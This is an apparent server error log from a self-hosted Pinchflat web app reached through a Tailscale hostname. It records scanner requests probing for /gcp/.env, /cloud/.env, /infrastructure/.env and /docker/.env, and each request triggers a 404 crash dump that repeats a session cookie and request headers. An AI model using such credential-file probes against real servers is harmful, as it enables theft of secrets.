"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 176, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3480.0>, params: %{}, path_info: ["gcp", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/gcp/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk63AAZ9eiuBkAASvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 176, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 176, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:21.028 [info] GET /cloud/.env 02:10:21.028 [debug] QUERY OK source="settings" db=0.1ms idle=159.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.028 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=159.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.029 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.029 [error] #PID<0.3481.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 177) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /cloud/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cloud/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cloud/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 177, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3481.0>, params: %{}, path_info: ["cloud", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/cloud/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk63VotLK_Dn8AASwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cloud/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 177, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /cloud/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/cloud/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 177, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:21.091 [info] GET /infrastructure/.env 02:10:21.092 [debug] QUERY OK source="settings" db=0.2ms idle=153.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.092 [debug] QUERY OK source="settings" db=0.0ms idle=153.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.092 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.092 [error] #PID<0.3482.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 178) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /infrastructure/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /infrastructure/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/infrastructure/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 178, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3482.0>, params: %{}, path_info: ["infrastructure", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/infrastructure/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk63kx-N8nvgMAASxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/infrastructure/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 178, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /infrastructure/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/infrastructure/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 178, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW- (truncated) 02:10:21.159 [info] GET /docker/.env 02:10:21.160 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=203.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.160 [debug] QUERY OK source="settings" db=0.1ms idle=131.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:21.160 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:21.160 [error] #PID<0.3483.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 179) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /docker/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /docker/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/docker/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 179, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3483.0>, params: %{}, path_info: ["docker", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/docker/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk630-QwcaxAQAASyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: 